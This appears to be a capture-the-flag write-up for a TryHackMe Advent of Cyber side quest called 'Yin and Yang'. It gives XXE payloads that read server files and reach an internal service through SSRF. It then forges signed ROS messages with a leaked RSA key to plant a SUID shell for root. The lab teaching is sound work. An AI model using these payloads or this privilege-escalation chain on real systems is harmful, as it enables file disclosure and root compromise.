# T2: Yin and Yang

{% embed url="<https://tryhackme.com/r/room/adventofcyber24sidequest>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## L2 Keycard

We find the keycard for the second Side Quest hidden in the task of the fifth day of the TryHackMe Advent Of Cyber. The following task, it gives us a hint to test for other services running on the target machine: `Following McSkidy's advice, Software recently hardened the server. It used to have many unneeded open ports, but not anymore. Not that this matters in any way.`

Day 5: SOC-mas XX-what-ee?

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkJR1te7qVhmcwLfTcQGE%2Fgrafik.png?alt=media&#x26;token=2b71a0b8-1f3d-4b0a-be3b-ee710b89532a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVExc4g6vaePwH7UMjOIF%2Fgrafik.png?alt=media&#x26;token=db7e1279-91e9-4f1e-9ff0-23ce501ced42" alt=""><figcaption></figcaption></figure>

We continue to test the web application with the available XXE.

```
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]>
<wishlist>
	<user_id>1</user_id>
	<item>
	       <product_id>&payload;</product_id>
	</item>
</wishlist>
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLInRHZuoLXjQgvOfb1Rn%2Fgrafik.png?alt=media&#x26;token=829f7fce-d36c-43dc-a65e-9aff6176b37f" alt=""><figcaption></figcaption></figure>

We try to include files that give us information about other services that may be running.

The `/etc/apache2/sites-enabled/000-default.conf` file contains the default configuration for the Apache web server's virtual host. It typically specifies the document root, logging paths, and any default behavior. By inspecting it, it can reveal references to other services or applications hosted on the server. Unfortunately, we cannot include it directly, because it fails to parse XML since the file itself contains XML data.

```
/etc/apache2/sites-enabled/000-default.conf
```

```
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/apache2/sites-enabled/000-default.conf"> ]>
<wishlist>
	<user_id>1</user_id>
	<item>
	       <product_id>&payload;</product_id>
	</item>
</wishlist>
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYi1fZoxg0Cl7fc4WtkxD%2Fgrafik.png?alt=media&#x26;token=318ed708-6393-485c-9ebd-f20402a11c20" alt=""><figcaption></figcaption></figure>

A workaround is to use PHP filters to encode the data. With that, we are able to retrieve the information hidden in `/etc/apache2/sites-enabled/000-default.conf`.

{% code overflow="wrap" %}

```
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [
<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" >]>
<wishlist>
    <user_id>1</user_id>
    <item>
           <product_id>&payload;</product_id>
    </item>
</wishlist>
            
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FiIzs1gtTUuYPrjjvuKsj%2Fgrafik.png?alt=media&#x26;token=f5c9a76e-fd5f-4ce5-8c1f-9d3b4df1f777" alt=""><figcaption></figcaption></figure>

After we have decoded the content we see that another service is running on port `8080` on local host. With a very suspicious root directory `/var/www/ssfr`. We also see that the `access.log` and `error.log` are in the web root directory. So we might leverage the XXE to an Server Side Request Forgery SSRF.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0e428jHygH0GOouiaBm5%2Fgrafik.png?alt=media&#x26;token=c6b17c4c-26d1-49dc-ac0b-4e97fc21edf2" alt=""><figcaption></figcaption></figure>

We first try to make a request to the index page of the web service on port 8080 running locally. To do that, we reuse the payload using PHP filters.

```
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [
<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:8080" >]>
<wishlist>
    <user_id>1</user_id>
    <item>
           <product_id>&payload;</product_id>
    </item>
</wishlist>
            
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGKXT0qxOkAfLRhmVXv8S%2Fgrafik.png?alt=media&#x26;token=4202132b-d1f1-4385-8080-520ccd3356a8" alt=""><figcaption></figcaption></figure>

The page links to `access.log`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAaNZd3dtsnbS0JkB80Kt%2Fgrafik.png?alt=media&#x26;token=50b72f97-b5db-409e-9629-cfe94567fc8b" alt=""><figcaption></figcaption></figure>

We now query the `access.log` page...

```
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:8080/access.log"> ]>
<wishlist>
  <user_id>1</user_id>
     <item>
       <product_id>&payload;</product_id>
     </item>
</wishlist>
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYUGtP5kE5ZnAzFVgeSO8%2Fgrafik.png?alt=media&#x26;token=87ca02ec-4a06-4313-8d44-b93bad265792" alt=""><figcaption></figcaption></figure>

And see that the following image `/k3yZZZZZZZZZ/t2_sm1L3_4nD_w4v3_boyS.png` was being requested.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvDS8n6bi3GME3fcL5aIv%2Fgrafik.png?alt=media&#x26;token=2bd6bbc6-2eee-4357-85d4-54018c15ecc8" alt=""><figcaption></figcaption></figure>

We can then request this on the exposed web server and find the keycard.

```
/k3yZZZZZZZZZ/t2_sm1L3_4nD_w4v3_boyS.png
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXh0Yp6NY76AYmLlJsOXz%2Fgrafik.png?alt=media&#x26;token=71d9f518-a102-45b4-8927-964fc748d685" alt=""><figcaption></figcaption></figure>

## Teardown Firewall

The first thing we have to do is shut down the firewall. We can find the page for this on port `21337`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSZU8XeryRBusUPYIfsxh%2Fgrafik.png?alt=media&#x26;token=7191064f-8429-415c-be02-879aacd39f4c" alt=""><figcaption></figcaption></figure>

In this challenge, we operate with two machines, Yin and Yang. The room to the Yang machine is linked separately, but this also requires the Firewall to be shut down.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmxGMjLGjoiZ89p5gZeft%2Fgrafik.png?alt=media&#x26;token=ce11791e-307a-4b23-9f8e-b1474514320f" alt=""><figcaption></figcaption></figure>

We visit the web pages to unlock the firewall...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXGlle65i3M0u2r3D34nZ%2Fgrafik.png?alt=media&#x26;token=87fb58fe-ba69-4ab8-9e80-cf1dd69daa53" alt=""><figcaption></figcaption></figure>

... and enter the keycard key for each machine.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fw2Dc0uzKd8W2dV3DdDi1%2Fgrafik.png?alt=media&#x26;token=41475f41-4947-4039-8951-ba13b374e555" alt=""><figcaption></figcaption></figure>

## SSH Into The Machines

Since the ports are now open, we can SSH into the yin and...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVNSlpdkGahW9uXAWNTxj%2Fgrafik.png?alt=media&#x26;token=a4c899d0-0b84-482a-be6b-f0e1a62e2cfd" alt=""><figcaption></figcaption></figure>

... yang machine.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6bswNLnZbasIVyZ6dftf%2Fgrafik.png?alt=media&#x26;token=45311a39-0ea8-400f-8d7e-1e7a0839a5cd" alt=""><figcaption></figcaption></figure>

## Recon

On yin, we can see that we are allowed to run `/catkin_ws/yin.sh` as `root` using sudo.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FiU2sV1zfvg9JsTXqWSgS%2Fgrafik.png?alt=media&#x26;token=3c1ff95b-e837-426c-943a-76338afd258f" alt=""><figcaption></figcaption></figure>

The same goes for yang. Here we are allowed to run `/catkin_ws/yang.sh`. Inspecting the script, we can see it is running `rosrun` on `runyang.py`. The rosrun command is part of ROS, the *Robot Operating System*. The `rosrun` command allows running an executable in an arbitrary package.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fs1miFijMMjQgOuGN0v7E%2Fgrafik.png?alt=media&#x26;token=1e362ace-4d19-4aaf-a24c-bfde0e5b9a7b" alt=""><figcaption></figcaption></figure>

We give it a try and run `yin.sh`. But it could not register to the master node on `http://localhost:11311`. The ROS server is not running locally. We get now a glimpse of why we have two machines to compromise. On each of them, it might have to run the ROS server to get the command executed. But first, let's inspect what is actually running.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBYzPgU8HwDvw7BhfjXm5%2Fgrafik.png?alt=media&#x26;token=262db8a6-336e-4f6e-8b91-0d6a1f40de9f" alt=""><figcaption></figcaption></figure>

Let's inspect the node scripts that are available.

The class Yin, is a ROS (Robot Operating System) node that communicates with a communication system and uses message signing and verification features. The node uses the Comms message type to publish messages to a topic named `messagebus`.&#x20;

To sign messages, the class retrieves a private RSA key from a file called `privatekey.pem`.&#x20;

To carry out commands given with a secret key for verification, the node provides a service `svc_yang`.&#x20;

Using the private RSA key, the script generates messages that contain a timestamp, sender, receiver, action, and feedback. It then sends these messages to the messagebus for signing.

The node periodically sends a "ping" message to a receiver yang with a simple shell command `touch /home/yang/yin.txt`.

{% code title="/catkin\_ws/src/yin/scripts/runyin.py" overflow="wrap" lineNumbers="true" %}

```python
#!/usr/bin/python3

import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yin.msg import Comms
from yin.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256

class Yin:
    def __init__(self):
        
        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


        #Read the message channel private key
        pwd = b'secret'
        with open('/catkin_ws/privatekey.pem', 'rb') as f:
            data = f.read()
            self.priv_key = RSA.import_key(data,pwd)

        self.priv_key_str = self.priv_key.export_key().decode()

        rospy.init_node('yin')

        self.prompt_rate = rospy.Rate(0.5)

        #Read the service secret
        with open('/catkin_ws/secret.txt', 'r') as f:
            data = f.read()
            self.secret = data.replace('\n','')

        self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)

    def handle_yang_request(self, req):
        # Check secret first
        if req.secret != self.secret:
            return "Secret not valid"

        sender = req.sender
        receiver = req.receiver
        action = req.command

        os.system(action)

        response = "Action performed"

        return response


    def getBase64(self, message):
        hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
        return hmac

    def getSHA(self, hmac):
        m = hashlib.sha256()
        m.update(hmac.encode())
        return str(m.hexdigest())  

    #This function will craft the signature for the message based on the specific system being talked to
    def sign_message(self, message):
        hmac = self.getBase64(message)
        hmac = SHA256.new(hmac.encode('utf-8'))
        signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
        sig = base64.b64encode(signature).decode()
        message.hmac = sig
        return message

    def craft_ping(self, receiver):
        message = Comms()
        message.timestamp = str(rospy.get_time())
        message.sender = "Yin"
        message.receiver = receiver
        message.action = 1
        message.actionparams = ['touch /home/yang/yin.txt']
        #message.actionparams.append(self.priv_key_str)
        message.feedback = "ACTION"
        message.hmac = ""
        return message

    def send_pings(self):
        # Yang
        message = self.craft_ping("Yang")
        message = self.sign_message(message)
        self.messagebus.publish(message)

    def run_yin(self):
        while not rospy.is_shutdown():
            self.send_pings()
            self.prompt_rate.sleep()

if __name__ == '__main__':
    try:
        yin = Yin()
        yin.run_yin()

    except rospy.ROSInterruptException:
        pass

```

{% endcode %}

```
Service Call: After performing the action, the node calls a service (svc_yang) to request an action from "Yin".
Message Reply: After executing the command, it constructs a reply message and signs it before publishing it back to the messagebus topic.
```

The script on yang is another ROS node that uses secure message handling, command execution, and message signing to communicate with a communication system. If orders are verified, it carries them out and subscribes to messages on the `messagebus` subject.

It reads a private RSA key for message signing from a file `privatekey.pem`, just like the last script did.

The node receives inbound messages meant for yang and subscribes to the messagebus topic.

It uses `os.system` to carry out the commands entered in the message's actionparams field following message validation.

The node requests an action from "Yin" by calling a service `svc_yang` after completing the action. The command is executed, and a reply message is created, signed, and then published back to the messagebus subject.

{% code title="/catkin\_ws/src/yang/scripts/runyang.py" overflow="wrap" lineNumbers="true" %}

```python
#!/usr/bin/python3

import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yang.msg import Comms
from yang.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256

class Yang:
    def __init__(self):
        
        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


        #Read the message channel private key
        pwd = b'secret'
        with open('/catkin_ws/privatekey.pem', 'rb') as f:
            data = f.read()
            self.priv_key = RSA.import_key(data,pwd)

        self.priv_key_str = self.priv_key.export_key().decode()

        rospy.init_node('yang')

        self.prompt_rate = rospy.Rate(0.5)

        #Read the service secret
        with open('/catkin_ws/secret.txt', 'r') as f:
            data = f.read()
            self.secret = data.replace('\n','')

        rospy.Subscriber('messagebus', Comms, self.callback)

    def callback(self, data):
        #First check to do is see if this is a message for us and one we need to respond to
        if (data.receiver != "Yang"):
            return

        #Now we know the message is for us. We can start system checks to see if it is a valid message
        if (not self.validate_message(data)):
            print ("Message could not be validated")
            return

        #Now we can action the message and send a reply
        for action in data.actionparams:
            os.system(action)

        #Now request an action from Yin
        self.yin_request()

        #Send reply
        reply = Comms()
        reply.timestamp = str(rospy.get_time())
        reply.sender = "Yang"
        reply.receiver = "Yin"
        reply.action = 2
        reply.actionparams = []
        reply.actionparams.append(self.priv_key_str)
        reply.feedback = "Action Done"
        reply.hmac = ""

        reply = self.sign_message(reply)

        self.messagebus.publish(reply)

    def validate_message(self, message):
        valid = True
        #Only accept messages from the allfather
        if (message.sender != "Yin"):
            valid = False
            print ("Message is not from Yin")
            return valid

        #First we need to validate the timestamp. The difference should not be bigger than threshold
        current_time = str(rospy.get_time())
        current_time_sec = int(current_time.split('.')[0])
        current_time_nsec = int(current_time.split('.')[1])
        message_time_sec = int(message.timestamp.split('.')[0])
        message_time_nsec = int(message.timestamp.split('.')[1])

        second_diff = current_time_sec - message_time_sec
        nsecond_diff = current_time_nsec - message_time_nsec

        if (second_diff <= 1):
            print ("Time difference is acceptable to answer message and not a replay")
        else:
            print ("Message is a replay and should be discarded")
            valid = False
            return valid
            # Here we want to respond and say that time is not acceptable thus regarded as replay

        #Now we need to validate the signature
        hmac = self.getBase64(message)
        hmac = SHA256.new(hmac.encode('utf-8'))
        signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
        sig = base64.b64encode(signature).decode()

        if (message.hmac != sig):
            print ("Signature verification failed")
            valid = False
            # Respond and say signature failed

        return valid

    def yin_request(self):
        resp = ""
        rospy.wait_for_service('svc_yang')
        try:
            service = rospy.ServiceProxy('svc_yang', yangrequest)
            response = service(self.secret, 'touch /home/yin/yang.txt', 'Yang', 'Yin')
        except rospy.ServiceException as e:
            print ("Failed: %s"%e)
        resp = response.response
        return resp


    def handle_yang_request(self, req):
        # Check secret first
        if req.secret != self.secret:
            return "Secret not valid"

        sender = req.sender
        receiver = req.receiver
        action = req.action

        os.system(action)

        response = "Action performed"

        return response

    def getBase64(self, message):
        hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
        return hmac

    def getSHA(self, hmac):
        m = hashlib.sha256()
        m.update(hmac.encode())
        return str(m.hexdigest())  

    #This function will craft the signature for the message based on the specific system being talked to
    def sign_message(self, message):
        hmac = self.getBase64(message)
        hmac = SHA256.new(hmac.encode('utf-8'))
        signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
        sig = base64.b64encode(signature).decode()
        message.hmac = sig
        return message

    def run_yang(self):
        rospy.spin()

if __name__ == '__main__':
    try:
        yang = Yang()
        yang.run_yang()

    except rospy.ROSInterruptException:
        pass

```

{% endcode %}

## Exploit Yang

In the script of yin, we can see a ping is crafted; the script can only be run by root, since the private key used has only read permission for root. So we cannot just change the script to create other files than that in the ping request.

But in the script of yang, we can see that the script is making a callback with the contents of the private key.

The idea is now to run a ROS master on yin, get the communication of both started, and inspect the messagebus topic on yang server to inspect the private key sent in the callback.

With that retrieved private key, we can then can craft our own script that, instead of doing a ping, crafts us a SUID bit `/bin/bash` binary.

So we are now on yin:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1lo9QMoBgob98OaWOu1W%2Fgrafik.png?alt=media&#x26;token=9b372826-32e1-44f2-9c13-7151ebc92eaa" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F33tmlj1kfaDkbTu0OO2w%2Fgrafik.png?alt=media&#x26;token=3e4ad573-95fc-4915-92d2-ae30e122d71a" alt=""><figcaption></figcaption></figure>

### Retreive The Private Key

We run `roscore` to set up the server and start the yin script.

```
roscore &
```

```
sudo /catkin_ws/yin.sh &
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQO7Xa2V3XlSUGU2n2u6t%2Fgrafik.png?alt=media&#x26;token=ec496bf3-2e6e-4c09-8828-eea4892ca47a" alt=""><figcaption></figcaption></figure>

Next, we need to make the yin master available for yang. To do this, we use port forwarding via SSH. We log in to yang and forward `11311` of yin to yang.

```
ssh -L 11311:localhost:11311 yin@10.10.85.62
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqYGmJUNoUsRrOQ8WffDR%2Fgrafik.png?alt=media&#x26;token=4303a65f-c4ca-4a8c-98f0-5dcd95f605c2" alt=""><figcaption></figcaption></figure>

Now we are able to run `/catkin_ws/yang.sh` on yang and see the handler validate the messages.

```
sudo /catkin_ws/yang.sh
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4QzVaZJ5XiCUn9bqlGUF%2Fgrafik.png?alt=media&#x26;token=6de358a5-d6ed-4094-8fc9-964c71e28d46" alt=""><figcaption></figcaption></figure>

On yang, we can now see the messages sent on the topic via `rostopic echo /messagebus` and see the RSA Private Key transmitted. This is the callback we are inspecting right now.

```
        #Send reply
        reply = Comms()
        reply.timestamp = str(rospy.get_time())
        reply.sender = "Yang"
        reply.receiver = "Yin"
        reply.action = 2
        reply.actionparams = []
        reply.actionparams.append(self.priv_key_str)
        reply.feedback = "Action Done"
        reply.hmac = ""
```

```
rostopic echo /messagebus
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUJSXYLUfZopFE2Qq82yQ%2Fgrafik.png?alt=media&#x26;token=475889e2-6648-4d85-a4b0-3f642cc2d8f9" alt=""><figcaption></figcaption></figure>

### Exploiting ROS Communication With Yin's Private Key&#x20;

We copy the src of `/catkin_ws/src/` into `/home/yin/yin`.

```
cp -r /catkin_ws/src/ yin
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQSv3dp4e7WnGxkvCyjeT%2Fgrafik.png?alt=media&#x26;token=885a2e7f-4055-430a-a355-e69c96f7e815" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F06Xb8RXFnh2iawmJCVO2%2Fgrafik.png?alt=media&#x26;token=9822efee-d815-485b-a16c-62e2e61d7b0d" alt=""><figcaption></figcaption></figure>

There we create a `suid.py`, which is essentially a copy of `/catkin_ws/src/yin/scripts/runyin.py` with minor changes.

This uses the retrieved private key we placed in `/home/yin/yin/privatekey.pem` and instead of just creating an empty file, we now create a SUID bit binary with `cp /bin/sh /home/yang/sh && chmod u+s /home/yang/sh`.<br>

{% code title="suid.py" overflow="wrap" lineNumbers="true" %}

```python
#!/usr/bin/python3

import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yin.msg import Comms
from yin.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256

class Yin:
    def __init__(self):

        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


        #Read the message channel private key
        pwd = b'secret'
        with open('/home/yin/yin/privatekey.pem', 'rb') as f:
            data = f.read()
            self.priv_key = RSA.import_key(data,pwd)

        self.priv_key_str = self.priv_key.export_key().decode()

        rospy.init_node('yrdy')

        self.prompt_rate = rospy.Rate(0.5)

    def getBase64(self, message):
        hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
        return hmac

    def getSHA(self, hmac):
        m = hashlib.sha256()
        m.update(hmac.encode())
        return str(m.hexdigest())

    #This function will craft the signature for the message based on the specific system being talked to
    def sign_message(self, message):
        hmac = self.getBase64(message)
        hmac = SHA256.new(hmac.encode('utf-8'))
        signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
        sig = base64.b64encode(signature).decode()
        message.hmac = sig
        return message

    def craft_ping(self, receiver):
        message = Comms()
        message.timestamp = str(rospy.get_time())
        message.sender = "Yin"
        message.receiver = receiver
        message.action = 1
        message.actionparams = ['cp /bin/sh /home/yang/sh && chmod u+s /home/yang/sh']
        #message.actionparams.append(self.priv_key_str)
        message.feedback = "ACTION"
        message.hmac = ""
        return message

    def send_pings(self):
        # Yang
        message = self.craft_ping("Yang")
        message = self.sign_message(message)
        self.messagebus.publish(message)

    def run_yin(self):
        # while not rospy.is_shutdown():
        self.send_pings()
        self.prompt_rate.sleep()

if __name__ == '__main__':
    try:
        yin = Yin()
        yin.run_yin()

    except rospy.ROSInterruptException:
        pass
```

{% endcode %}

Now we run the ROS master on yang. The instance on yin has to be terminated.

```
roscore &
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fn0sSd2OgMQS1NR6sgAFB%2F2024-12-08-1.png?alt=media&#x26;token=53bfee45-146a-4a05-abfc-c2804a497000" alt=""><figcaption></figcaption></figure>

We run the `/catkin_ws/yang.sh` script on yang.

```
sudo /catkin_ws/yang.sh
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FF81xeqpWBnjo49A97dMt%2F2024-12-08-.png?alt=media&#x26;token=5e533992-6a97-4fc2-9eae-81e826e606d6" alt=""><figcaption></figcaption></figure>

And make the server available on yin using port forwarding via SSH.

```
ssh -L 11311:localhost:11311 yang@10.10.92.55
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmufGbaEspXfk4Jk231LR%2F2024-12-08-3.png?alt=media&#x26;token=1d91b4fd-9226-4644-b844-ddec7f0a666d" alt=""><figcaption></figcaption></figure>

We save the private key formerly retrieved at `/home/yin/yin/privatekey.pem`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhWPBwgV6VJjk2VFYSjqg%2Fgrafik.png?alt=media&#x26;token=fa6b1a23-87b5-4a61-bbb1-dc9c7c22a8da" alt=""><figcaption></figcaption></figure>

And now run our `suid.py`. Which does not require root permission, since we are now in possession of the private key.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxKCbLXj4yovz845VGQDR%2Fgrafik.png?alt=media&#x26;token=6029b3f6-e524-4543-a978-f160e85675bc" alt=""><figcaption></figcaption></figure>

On yang, we can see that the SUID bit binary `sh` is created. We can now read the `/root/yang.txt` file, which contains the flag for yang.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fh9UKF7s39wuqrUm0XXtw%2Fgrafik.png?alt=media&#x26;token=366ed7f2-8ec1-44c3-aa5e-14bff578430b" alt=""><figcaption></figcaption></figure>

We are now also able to read the secret used by yang. So we could potentially craft messages as yang for the `svc_yang` handler.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FB5vwjlFZzN2L9OcolDtm%2Fgrafik.png?alt=media&#x26;token=66c84ab2-0c3a-4014-9f93-79efdee7f4cd" alt=""><figcaption></figcaption></figure>

## Exploit Yin

Instead of crafting a script like before, we could do it more easily, since we are in possession of the secret of yang. With that secret, we can impersonate the yang machine and craft messages as they were sent from yang. We just need to know how to call the services properly. For this, we find the following wiki entry:

{% embed url="<https://wiki.ros.org/rosservice>" %}

We can call the service by the following:

```
rosservice call /service_name service-args
```

From the following snippet, we can see that there is a yang service served. Which triggers the `handle_yang_request`, allowing to run system commands via `os.system(action)`.

{% code title="" overflow="wrap" lineNumbers="true" %}

```python
class Yin:
    def __init__(self):
        
        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


        #Read the message channel private key
        pwd = b'secret'
        with open('/catkin_ws/privatekey.pem', 'rb') as f:
            data = f.read()
            self.priv_key = RSA.import_key(data,pwd)

        self.priv_key_str = self.priv_key.export_key().decode()

        rospy.init_node('yin')

        self.prompt_rate = rospy.Rate(0.5)

        #Read the service secret
        with open('/catkin_ws/secret.txt', 'r') as f:
            data = f.read()
            self.secret = data.replace('\n','')

        self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)
   ... 
    def handle_yang_request(self, req):
        # Check secret first
        if req.secret != self.secret:
            return "Secret not valid"

        sender = req.sender
        receiver = req.receiver
        action = req.command

        os.system(action)

        response = "Action performed"

        return response
```

{% endcode %}

